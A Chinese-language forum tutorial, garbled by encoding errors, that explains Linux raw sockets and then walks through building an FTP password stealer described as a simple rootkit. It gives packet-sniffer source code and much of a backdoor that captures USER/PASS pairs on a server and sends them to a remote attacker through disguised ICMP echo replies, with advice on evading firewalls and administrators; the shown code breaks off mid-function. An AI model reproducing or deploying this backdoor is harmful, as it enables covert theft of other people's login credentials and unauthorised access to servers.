? ???如果你在局域網(wǎng)做試驗,并且你的老板允許你把網(wǎng)卡設(shè)置為混雜模式,那么這個程序就是一個真正的嗅探器了,這個時候你要存儲的信息就多了,需要加上目的IP和目的端口.最后切記,最好不要將這個程序用于惡意目的.
添上測試方法:make之后生成sniffer和fakeping這兩個程序
假設(shè)FTP服務器IP為192.168.1.1,遠程主機為192.168.1.2
在192.168.1.1上運行sniffer程序,并打開該機子上的ftp服務
然后從任意一臺機子上多次登陸FTP服務器,密碼就被竊取了
最后,在192.168.1.2上 fakeping 192.168.1.1
每調(diào)用一次,就返回一對密碼對,直到取到無效值為止
不好意思,昨天將文章名記錯了,現(xiàn)在改回來了
具體點說,參考文獻有:
(1):phrack的 <<Hacking the Linux Kernel Network Stack>>
? ??www.phrack.org上有原文,CU的地址為:
http://www.chinaunix.net/jh/4/758787.html
(2)phrack上的 <<Building Into The Linux Network Layer??>> 地址是:
? ???http://www.phrack.org/archives/55/P55-12
(3):Linuxjournal的<<Inside the Linux Packet Filter>>1和2
地址:http://www.linuxjournal.com/article/4852
? ?? ?http://www.linuxjournal.com/article/5617
(4):<<unix網(wǎng)絡(luò)編程>>以及人民郵電 林宇和郭凌云的<<Linux網(wǎng)絡(luò)編程>>
(5):<<Understanding linux network internals>>的第24章
? ? (5)已經(jīng)有中文翻譯組了,網(wǎng)址是http://www.hlbbs.com/linuxdoc/
對于文章名寫錯的事情表示道歉,昨天太粗心了....
分類:?LINUX
下面是原文件附的代碼.我運行過,很好.
|
內(nèi)容安排:
1.原始套接字介紹
??1.1 原始套接字工作原理與規(guī)則
??1.2 簡單應用
2 FTP密碼竊取器實現(xiàn)(簡單的rootkit)
??2.1 設(shè)計思路
??2.2 實現(xiàn)
??2.3 不足與改進之處
開始,嗯,喝口茶水先...........
1.原始套接字(raw socket)
??1.1 原始套接字工作原理與規(guī)則
? ?? ?? ?原始套接字是一個特殊的套接字類型,它的創(chuàng)建方式跟TCP/UDP創(chuàng)建方法幾乎是
一摸一樣,例如,通過
[Copy to clipboard]?[?-?] CODE: int sockfd;
? ?? ? sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);
這兩句程序你就可以創(chuàng)建一個原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不同:TCP/UDP類型的套接字只能夠訪問傳輸層以及傳輸層以上的數(shù)據(jù),因為當IP層把數(shù)據(jù)傳遞給傳輸層時,下層的數(shù)據(jù)包頭已經(jīng)被丟掉了.而原始套接字卻可以訪問傳輸層以下的數(shù)據(jù),,所以使用raw套接字你可以實現(xiàn)上至應用層的數(shù)據(jù)操作,也可以實現(xiàn)下至鏈路層的數(shù)據(jù)操作.
? ?? ?? ?比如:通過
[Copy to clipboard]?[?-?] CODE: sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))
方式創(chuàng)建的raw socket就能直接讀取鏈路層的數(shù)據(jù).
1)使用原始套接字時應該注意的問題(參考<<unix網(wǎng)絡(luò)編程>>以及網(wǎng)上的優(yōu)秀文檔)
(1):對于UDP/TCP產(chǎn)生的IP數(shù)據(jù)包,內(nèi)核不將它傳遞給任何原始套接字,而只是將這些數(shù)據(jù)交給對應的UDP/TCP數(shù)據(jù)處理句柄(所以,如果你想要通過原始套接字來訪問TCP/UDP或者其它類型的數(shù)據(jù),調(diào)用socket函數(shù)創(chuàng)建原始套接字第三個參數(shù)應該指定為htons(ETH_P_IP),也就是通過直接訪問數(shù)據(jù)鏈路層來實現(xiàn).(我們后面的密碼竊取器就是基于這種類型的).
(2):對于ICMP和EGP等使用IP數(shù)據(jù)包承載數(shù)據(jù)但又在傳輸層之下的協(xié)議類型的IP數(shù)據(jù)包,內(nèi)核不管是否已經(jīng)有注冊了的句柄來處理這些數(shù)據(jù),都會將這些IP數(shù)據(jù)包復制一份傳遞給協(xié)議類型匹配的原始套接字.
(3):對于不能識別協(xié)議類型的數(shù)據(jù)包,內(nèi)核進行必要的校驗,然后會查看是否有類型匹配的原始套接字負責處理這些數(shù)據(jù),如果有的話,就會將這些IP數(shù)據(jù)包復制一份傳遞給匹配的原始套接字,否則,內(nèi)核將會丟棄這個IP數(shù)據(jù)包,并返回一個ICMP主機不可達的消息給源主機.
(4): 如果原始套接字bind綁定了一個地址,核心只將目的地址為本機IP地址的數(shù)包傳遞給原始套接字,如果某個原始套接字沒有bind地址,核心就會把收到的所有IP數(shù)據(jù)包發(fā)給這個原始套接字.
(5): 如果原始套接字調(diào)用了connect函數(shù),則核心只將源地址為connect連接的IP地址的IP數(shù)據(jù)包傳遞給這個原始套接字.
(6):如果原始套接字沒有調(diào)用bind和connect函數(shù),則核心會將所有協(xié)議匹配的IP數(shù)據(jù)包傳遞給這個原始套接字.
2).編程選項
? ???原始套接字是直接使用IP協(xié)議的非面向連接的套接字,在這個套接字上可以調(diào)用bind和connect函數(shù)進行地址綁定.說明如下:
(1)bind函數(shù):調(diào)用bind函數(shù)后,發(fā)送數(shù)據(jù)包的源IP地址將是bind函數(shù)指定的地址。如是不調(diào)用bind,則內(nèi)核將以發(fā)送接口的主IP地址填充IP頭. 如果使用setsockopt設(shè)置了IP_HDRINCL(header including)選項,就必須手工填充每個要發(fā)送的數(shù)據(jù)包的源IP地址,否則,內(nèi)核將自動創(chuàng)建IP首部.
(2)connetc函數(shù):調(diào)用connect函數(shù)后,就可以使用write和send函數(shù)來發(fā)送數(shù)據(jù)包,而且內(nèi)核將會用這個綁定的地址填充IP數(shù)據(jù)包的目的IP地址,否則的話,則應使用sendto或sendmsg函數(shù)來發(fā)送數(shù)據(jù)包,并且要在函數(shù)參數(shù)中指定對方的IP地址。
? ? 綜合以上種種功能和特點,我們可以使用原始套接字來實現(xiàn)很多功能,比如最基本的數(shù)據(jù)包分析,主機嗅探等.其實也可以使用原始套接字作一個自定義的傳輸層協(xié)議.
1.2一個簡單的應用
? ? 下面的代碼創(chuàng)建一個直接讀取鏈路層數(shù)據(jù)包的原始套接字,并從中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及對應的傳輸層協(xié)議,如果是TCP/UDP協(xié)議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協(xié)議有關(guān)的數(shù)據(jù)結(jié)構(gòu),如
struct ether_header ,struct iphdr??等,當然, 要完全理解代碼,你需要關(guān)于指針以及位運算的知識
[Copy to clipboard]?[?-?] CODE: /***************SimpelSniffer.c*************/
//auther:duanjigang@2006s
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_ether.h>
#include <linux/in.h>
#define BUFFER_MAX 2048
int main(int argc, char *argv[])
{
? ? ? ??
? ? ? ? int sock, n_read, proto;? ? ? ??
? ? ? ? char buffer[BUFFER_MAX];
? ? ? ? char??*ethhead, *iphead, *tcphead,?
? ?? ?? ?? ?? ?? ?? ?? ? *udphead, *icmphead, *p;
? ? ? ??
if((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
? ? {
? ? ? ? fprintf(stdout, "create socket error\n");
? ? ? ? exit(0);
? ? }
? ? ? ??
while(1)?
{
? ???n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
? ? ? ? /*
? ? ? ? 14? ?6(dest)+6(source)+2(type or length)
? ? ? ? +
? ? ? ? 20? ?ip header?
? ? ? ? +
? ? ? ? 8? ?icmp,tcp or udp header
? ? ? ? = 42
? ? ? ? */
if(n_read < 42)?
? ?{
? ?? ?fprintf(stdout, "Incomplete header, packet corrupt\n");
? ?? ?continue;
? ?}
? ? ? ? ? ? ? ??
? ? ? ? ethhead = buffer;
? ? ? ? p = ethhead;
? ? ? ? int n = 0XFF;
? ?? ?? ?? ?? ? printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
? ? ? ?? ?? ?? ?? ?? ?? ???"%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n",
? ? ? ? p[6]&n, p[7]&n, p[8]&n, p[9]&n, p[10]&n, p[11]&n,
? ? ? ? p[0]&n, p[1]&n, p[2]&n,p[3]&n, p[4]&n, p[5]&n);
? ?? ?? ?? ?? ?? ? iphead = ethhead + 14;??
? ?? ?? ?? ?? ?? ? p = iphead + 12;
? ?? ???
? ?? ?? ???printf("IP: %d.%d.%d.%d => %d.%d.%d.%d\n",
? ?? ?? ???p[0]&0XFF, p[1]&0XFF, p[2]&0XFF, p[3]&0XFF,
? ?? ?? ???p[4]&0XFF, p[5]&0XFF, p[6]&0XFF, p[7]&0XFF);
? ?? ?? ?? ?proto = (iphead + 9)[0];
? ?? ?? ?? ?p = iphead + 20;
? ?? ?? ?? ? printf("Protocol: ");
? ?? ?? ?? ?switch(proto)
? ?? ?? ?? ???{
? ?? ???? ? ? ? case IPPROTO_ICMP: printf("ICMP\n");break;
? ?? ???? ? ? ? case IPPROTO_IGMP: printf("IGMP\n");break;
? ?? ???? ? ? ? case IPPROTO_IPIP: printf("IPIP\n");break;
? ?? ???? ? ? ? case IPPROTO_TCP :
? ?? ???? ? ? ? case IPPROTO_UDP :?
? ? printf("%s,", proto == IPPROTO_TCP ? "TCP": "UDP");?
? ? printf("source port: %u,",(p[0]<<8)&0XFF00 |??p[1]&0XFF);
? ? printf("dest port: %u\n", (p[2]<<8)&0XFF00 | p[3]&0XFF);
? ?? ?? ?break;
? ? case IPPROTO_RAW : printf("RAW\n");break;
? ? default:printf("Unkown, please query in include/linux/in.h\n");
? ? ? ? }
? ?}
}
2 FTP密碼嗅探器實現(xiàn)
? ???注意:本部分的實現(xiàn),采用了系統(tǒng)定義的一些數(shù)據(jù)結(jié)構(gòu),如鏈路層頭結(jié)構(gòu)體,網(wǎng)絡(luò)層頭結(jié)構(gòu)體,以及TCP.UDP,ICMP頭等結(jié)構(gòu)體,正好對上一個例子是一個補充,同時,在程序中操作起來也更方便一些,當然,你必須知道每個數(shù)據(jù)結(jié)構(gòu)的意思,與數(shù)據(jù)包頭中的各項是如何對應的,還有,在下面的程序中,我們使用單鏈表存儲收集到的用戶名與密碼,所以,你應該必須熟悉單鏈表的操作,如插入節(jié)點和刪除節(jié)點等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很好的理解本文的代碼和要點.(對了,你還得明白校驗和是做什么用的,以及它的計算方法)為了方便理解,我在文中添加了一個簡單的數(shù)據(jù)包分層圖,如下
??=============================================
? ? |? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?|
? ? | 鏈路層頭? ? | IP報文頭? ?? ?| 傳輸層報文頭? ?? ?? ?? ? | 應用層數(shù)據(jù)? ?
? ? |? ?? ?? ?? ?? ? |? ?? ?? ?? ?? ???|? ?? ?? ?? ?? ?? ?? ?? ?? ? |
??-==============================================
2.1設(shè)計思路
? ???在網(wǎng)上看到有好多sniffer的設(shè)計思路,有些確實講的很不錯,但是卻很少發(fā)現(xiàn)有完整的作出來一個實例的(也許是偶孤陋寡聞沒找見),正好想起來<<Hacking the Linux Kernel Network Stack>>中有這么一個實例,那篇主要是講netfilter的,在模塊里面實現(xiàn)數(shù)據(jù)的過濾,竊取用戶名和密碼,于是我便把那個故事搬過來,用原始套接字去實現(xiàn),而且遠程竊取密碼的方法同樣使用的是令人洋洋得意的思路--構(gòu)造一個偽ping包來ping已經(jīng)被植入后門程序的主機,后門程序在收到特殊的ping包之后,會講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運輸.不同之處在于返回密碼時采用的方法,本文中創(chuàng)建了一個ICMP類型的raw socket作為ICMP echo request 消息的echo reply消息返回,雖然較之前文的方法有些遜色,但是卻相當提供了一個完整的ping程序,你可以稍加修改就做出自己的ping來.而且在對協(xié)議類型進行判斷的Switch分支中,你可以繼續(xù)添加自己的處理方法,比如SNMP的162UDP端口或者其他協(xié)議的分析.
? ?程序的運行過程:
? ?首先我們會創(chuàng)建一個接收鏈路層的原始套接字,之所以創(chuàng)建鏈路層的原始套接字,原因有:
1:出于教學目的,我們盡力去分析數(shù)據(jù)包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.
2: FTP是基于TCP協(xié)議的應用層協(xié)議,所以我們要能從傳輸層區(qū)分出TCP包和UDP包,但是,前面的規(guī)則已經(jīng)講到了,對于UDP或者TCP產(chǎn)生的IP層數(shù)據(jù)包,內(nèi)核將不會把它傳遞給任何原始套接字,而是交給對應的TCP/UDP處理函數(shù),要能夠讓原始套接字接收UDP和TCP產(chǎn)生的IP數(shù)據(jù)包,或者說接收傳輸層的UDP和TCP類型的數(shù)據(jù),所創(chuàng)建的原始套接字必須為ETH_P_IP類型的,在程序里面體現(xiàn)出來就是將第三個參數(shù)指定為找個值.
? ?? ? 在套接字創(chuàng)建成功之后,我們的程序就在系統(tǒng)中注冊了一塊數(shù)據(jù)結(jié)構(gòu),并且內(nèi)核中對于所有的原始套接字都有一個維護列表的,在收到網(wǎng)絡(luò)上的數(shù)據(jù)時,內(nèi)核會跟據(jù)條件將收到的數(shù)據(jù)復制一份交給注冊了這個套接字的程序去處理.
? ?? ? 所以,如果系統(tǒng)緩存中如果已經(jīng)有了數(shù)據(jù),我們調(diào)用的recvfrom函數(shù)將會返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數(shù)據(jù)供我們的程序進行處理.
? ?為了防止收到的數(shù)據(jù)有差錯,我們進行必要的檢驗,作為數(shù)據(jù)包來說,鏈路層占了14個字節(jié)的空間,6個自己源地址,6個字節(jié)是目的地址,2個字節(jié)作為類型碼,接下來是IP層的頭信息,由于找個層的頭信息包含的項比較多,所以不進行一一的分析,IP層至少戰(zhàn)局20個字節(jié)的空間,下來就是傳輸層的頭信息了,在不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應該包括8個字節(jié),所以,我們要檢驗讀到的數(shù)據(jù)包大小是否超過了最基本的數(shù)據(jù)包頭的大小,如果沒有的話,說明數(shù)據(jù)包有誤,我們將其丟棄,重新接收.
? ? 下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個字節(jié),接著找出網(wǎng)絡(luò)層的頭,從IP頭中提取協(xié)議類型字段,如果是TCP協(xié)議,則進行分析,從中查找可能的用戶名和密碼對,由于FTP使用明文傳送,而且傳送用戶名時的格式為USER <用戶名>,傳送密碼時的格式為PASS <密碼>,所以我們可以從中分析這兩個關(guān)鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對信息加入到鏈表中存儲起來,等待遠程主機來索取;如果協(xié)議類型是ICMP的話,我們就要注意了,因為我們的遠程主機發(fā)送的取密碼的數(shù)據(jù)包就是以ICMP包的格式偽裝起來的,它具有一般的ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO這個值,表示ping的回顯請求,所以操作系統(tǒng)會認為是一個一般的ping消息,將它交給協(xié)議棧去處理,然而此時我們的后門程序已經(jīng)在這個主機上運行了,如果它能夠發(fā)現(xiàn)這個偽裝的ICMP消息的話,就可以通過構(gòu)造一個ICMP回顯應答的消息將它采集到的關(guān)于這臺主機的信息發(fā)送出去,那樣就實現(xiàn)了遠程信息獲取的功能.
? ?? ?注意到ICMP消息中有兩個字段,一個是type,一個是code,我們已經(jīng)知道了,如果type為ICMP_ECHO,則標識這是一個回顯請求,如果type為ICMP_ECHOREPLY的話,則說明是一個回顯應答,但是code有什么作用呢?默認的ping程序中code字段都是0,但是在實際中我發(fā)現(xiàn),如果你將code字段設(shè)置為其他非0值,而只要type字段設(shè)置為ICMP_ECHO的話,也會被操作系統(tǒng)認為是一個ping回顯請求,它馬上會給你發(fā)送一個應答.所以,如果防火墻沒有對code字段做檢測的話,我們就可以利用code來做文章:遠程主機自己構(gòu)造一個ICMP_ECHO的包,在code字段填入事先約定好的特殊值,以便于后門程序能夠認出它,并且不會被操作系統(tǒng)和防火墻當作不速之客拒之門外,當后門程序從千千萬萬的數(shù)據(jù)包中檢測出一個這樣的特殊包時,它知道遠程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會自己構(gòu)造一個ICMP_ECHOREPLY的數(shù)據(jù)包,如果已經(jīng)存儲了有效的數(shù)據(jù)的話,它取出一對數(shù)據(jù)填入這個應答包中(是一定要注意,這個回顯應答的包不能太大,以免被警覺的管理員所采取的防火墻規(guī)則阻擋住,這樣我們的后門程序就會功虧于潰),然后再加上一個特殊的標志位,發(fā)送出去.而這個特殊的標志位也同樣是ICMP中的code字段,這樣做是為了遠程主機能夠從千千萬萬的回顯應答中找到自己心儀的那一個應答數(shù)據(jù)包,從而得到竊取的信息.如果后門程序沒有采集到密碼對,則會發(fā)送一個事先約定好的無效用戶名和密碼給遠程主機,告訴它,暫時還沒有有效的數(shù)據(jù),請不要再索取了.
? ?? ? 另外,在程序中我們的原則是,每次回顯應答帶走一對用戶名和密碼,所以,如果某個用戶正在遠端使用虛假的ping程序呼喚密碼的話,他可以一直執(zhí)行這個發(fā)送偽裝Ping包的程序,每次都能獲取到一對用戶名和密碼,直到出現(xiàn)無效值,說明數(shù)據(jù)已經(jīng)傳送完畢.
這就是整個程序的大體的運行過程.
? ???下面我再就實際實現(xiàn)與測試時出現(xiàn)的問題進行一些說明,這些問題也是在實現(xiàn)這個嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發(fā)現(xiàn)原因的,呵呵,我已經(jīng)飽受這些煎熬,所以如果你注意一下下面討論的問題,在運行程序時就不會遇到這么多麻煩的.
? ?? ?我們的程序是一個單線程的監(jiān)聽程序,每到一個TCP包,就從中查找USER或者PASS字段,如果找到的話,就取出它后面的值,認為是用戶名或者密碼,然后存儲起來.但是會有一下情況發(fā)生.
(1)
? ?? ???如果我們的程序啟動時,用戶名已經(jīng)傳送過了,而我們僅僅捕捉到了PASS的值,這個時候如果一直去等USER出現(xiàn)的話,就會出現(xiàn)差錯,你可以想象一下,如果我們?nèi)〉搅擞脩鬉的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的出現(xiàn),如果在某個時候USER出現(xiàn)了,很顯然,這是新連接的登陸用戶名,跟上一次存儲的密碼不屬于一次會話的數(shù)據(jù),即使我們拿到了這個用戶名和密碼,也只是上一個用戶登陸的密碼和這一個用戶登陸的姓名,這樣拿到了也沒用,除非是特殊情況的出現(xiàn),即同一個用戶連著登陸多次,那么,瞎貓碰著死耗子,我們得到了正確的數(shù)據(jù),但是我們希望盡可能去獲取一次會話中的用戶名和密碼對,所以,嗅探的原則是,如果沒有用戶名,就不存儲密碼.
(2)
? ?? ? 考慮再細致點,想想多用戶同時登陸的情況,假設(shè) thatday已經(jīng)連接上FTP服務器,并且鍵入了用戶名 thatday發(fā)送給FTP服務器,這個時候我們的程序也應該在FTP服務器上獲取到了用戶名thatday, 忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個時候 肥肥 也去登陸,他鍵入用戶名FatFighterM,發(fā)送出去,于是我們的程序發(fā)現(xiàn)又有一個叫做FatFighterM的用戶名被傳過來了,但是此時程序的任務是等待一個密碼,如果直接丟棄FatFighterM這個用戶名不管,并且繼續(xù)等待對應thatday的密碼的話,可能會出現(xiàn)如下差錯:thatday還在聊天,肥肥當仁不讓的輸入密碼,并且登陸成功,開始工作,可我們的傻瓜程序卻會以為這是thatday的密碼,將這視為一對,存儲起來,但是這樣的數(shù)據(jù)是沒有用的,根本就不匹配!
? ?? ?也許你會說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲后來的用戶名,這不就行了?這樣也會有問題,如果肥肥在輸入用戶名后也接到了老婆的電話,然后他就離開座位聊起天來,當然還沒有輸入密碼(他可能認為保持半登陸狀態(tài)比輸入密碼登陸成功后離開座位更安全),這個時候thatday聊天結(jié)束,他輸入自己的密碼,發(fā)給服務器,但是這個時候我們的程序存儲的用戶名卻是肥肥的名字, 然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進行更多的控制.
??當然,FTP服務器是不會出這種錯誤的,因為它會為每個登陸過程開一個單獨的會話,但是我們的單線程程序卻會遇到這些問題,試想,如果我們給每個密碼對加上源IP地址進行匹配,這個問題是不是就可以解決了,對,這樣就可以解決問題了.我們可以這樣做,每來一個用戶名,就記下這個數(shù)據(jù)包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經(jīng)存儲的用戶名和密碼一致的話,就認為是一對,而且還繼續(xù)以前的規(guī)定,沒有用戶名之前不存儲密碼.因為不同的客戶機,源IP地址肯定不同,所以可以根據(jù)IP地址來區(qū)分不通主機的連接,而對于同一臺機子上的不通用戶,他們的源IP當然是相同的了,我們只有根據(jù)它的源端口進行區(qū)分了.
? ? 如果以上說得都做到了我們就可以獲取到密碼了.
? ? 下來,該討論取密碼是應該注意的問題了.
? ?首先說說嗅探器端,既然我們創(chuàng)建了一個原始套接字并且從找個套接字讀到了ping請求,好像順理成章的我們就應改把密碼對通過這個發(fā)回遠程主機,但是我在嘗試了N次之后
始終沒有成功,一個可能的原則是"鏈路層的原始套接字不能直接自己填充鏈路層頭信息并將數(shù)據(jù)發(fā)送出去",不知道這個說法正確不?期待專家的回復.因為我一開始的想法就是直接將這個數(shù)據(jù)包的源MAC和目的MAC互換,IP互換,端口互換,并希望能直接利用原來的套接字發(fā)送回去,但是最終還是沒能成功,但是我認為,這是最好的做法了.最后只好委屈求全,再次創(chuàng)建一個原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的ping echo reply的代碼,用新的套接字將密碼發(fā)回,這個實在是一個巨大的暇疵!
? ?? ? 嗅探端已經(jīng)完畢,接著看遠程的命令端,我一開始就使用<<Hacking the Linux Kernel Network Stack>>中的那個命令端程序,結(jié)果偽裝包是發(fā)送成功了,可是讀取到的數(shù)據(jù)老是錯誤,用戶名和密碼總是空的,折騰了2天,這天,細心的同事忽然告訴我說你收到的消息好像跟發(fā)送的一摸一樣,這時才發(fā)現(xiàn)了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己發(fā)送出去的原封不動,關(guān)于這個原因我還沒有思考清楚,只覺得可能是由于同一臺機子測試引起的,并沒有做太多的分析,希望專家給出更科學的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結(jié)果發(fā)現(xiàn)這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯的,一想,原來是收到了系統(tǒng)返回的ping應答消息,最終的原則就是,當收到的ICMP消息是ICMP_ECHOREPLY時并且code字段為嗅探器所填的特殊值時,才進行處理,終于能夠正確的運行起來.
2.2 實現(xiàn)(代碼片斷)
? ? 由于論壇字符上限的原因,在次只貼出了部分代碼,并且刪除了注視,完整的代碼作為附件上傳上來吧.
CODE: int main(int argc, char *argv[])
{
? ? ? ? int sock, n_read;
? ? ? ? struct ether_header * etherh;
? ? ? ? struct iphdr * iph;
? ? ? ? char buffer[BUFFER_MAX];
? ? ? ? /*create a raw socekt to sniffer all messages*/
? ? ? ? if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
? ? ? ? {
? ? ? ? ? ? ? ? exit(errno);
? ? ? ? }
? ? ? ? while (1)?
? ? ? ? {
? ? ? ? ? ? ? ? n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
? ? ? ? ? ? ? ? /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
? ? ? ? ? ? ? ? if (n_read < 42)?
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? continue;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? /*??get ethernet header */
? ? ? ? ? ? ? ? etherh =(struct ether_header *) buffer;
? ? ? ? ? ? ? ? /*??get ip header */??
? ? ? ? ? ? ? ? iph = (struct iphdr *) (etherh + 1);
? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? switch(iph->protocol)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? case IPPROTO_TCP :?
? ? ? ? ? ? ? ? ? ? ? ? CheckTCP(iph);
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? case IPPROTO_ICMP:?
? ? ? ? ? ? ? ? ? ? ? ? if(MagicICMP(iph))
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? SendData(etherh, n_read);
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? case IPPROTO_UDP :
? ? ? ? ? ? ? ? case IPPROTO_IGMP:
? ? ? ? ? ? ? ? default: break;
? ? ? ? ? ? ? ? } ? ? ? ??
? ? ? ? }
}
int CheckTCP(const struct iphdr * ipheader)
{
? ? ? ? if(!ipheader)
? ? ? ? {
? ? ? ? ? ? ? ? return 0;
? ? ? ? }
? ? ? ? int i = 0;
? ? ? ? /* get tcp head??*/
? ? ? ? struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
? ? ? ? /* get data region of the tcp packet */
? ? ? ? char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
? ? ? ? if(username && target_port && target_ip)
? ? ? ? {
? ? ? ? ? ? ? ? if(ipheader->daddr != target_ip || tcpheader->source != target_port)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? /*a new loading, we need to reset our sniffer */
? ? ? ? ? ? ? ? ? ? ? ? if(strncmp(data, "USER ", 5) == 0 )
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? }
? ? ? ? }
? ? ? ? if (strncmp(data, "USER ", 5) == 0)?
? ? ? ? {? ?? ?? ??
? ? ? ? ? ? ? ? data += 5;
? ? ? ? ? ? ? ? i = 0;
? ? ? ? ? ? ? ? if (username)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? char * p = data + i;
? ? ? ? ? ? ? ? /*the data always end with LR */
? ? ? ? ? ? ? ? while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? i++;
? ? ? ? ? ? ? ? ? ? ? ? p++;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? if((username = (char*)malloc(i + 2)) == NULL)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? memset(username, 0x00, i + 2);
? ? ? ? ? ? ? ? memcpy(username, data, i);
? ? ? ? ? ? ? ? *(username + i) = '\0';
? ? ? ? }
? ? ? ? else?
? ? ? ? ? ? ? ? if(strncmp(data, "PASS ", 5) == 0)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? ? ? ? ? data += 5;
? ? ? ? ? ? ? ? ? ? ? ? i = 0;
? ? ? ? ? ? ? ? ? ? ? ? if(username == NULL)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(password)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? char * p = data;
? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ? ? ? ? ? ? ? while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? i++;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? p++;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if((password = (char*)malloc(i + 2)) == NULL)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? return 0;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? memset(password, 0x00, i + 2);
? ? ? ? ? ? ? ? ? ? ? ? memcpy(password, data, i);
? ? ? ? ? ? ? ? ? ? ? ? *(password + i) = '\0';
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? else? ?
? ? ? ? ? ? ? ? ? ? ? ? if(strncmp(data, "QUIT", 4) == 0)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Reset();?
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(!target_ip && !target_port && username)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? target_ip = ipheader->saddr;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? target_port = tcpheader->source;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(username && password)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? have_pair++;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? if(have_pair)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? struct node node;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? node.ip = target_ip;
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? snprintf(node.Name, 15, "%s", username);
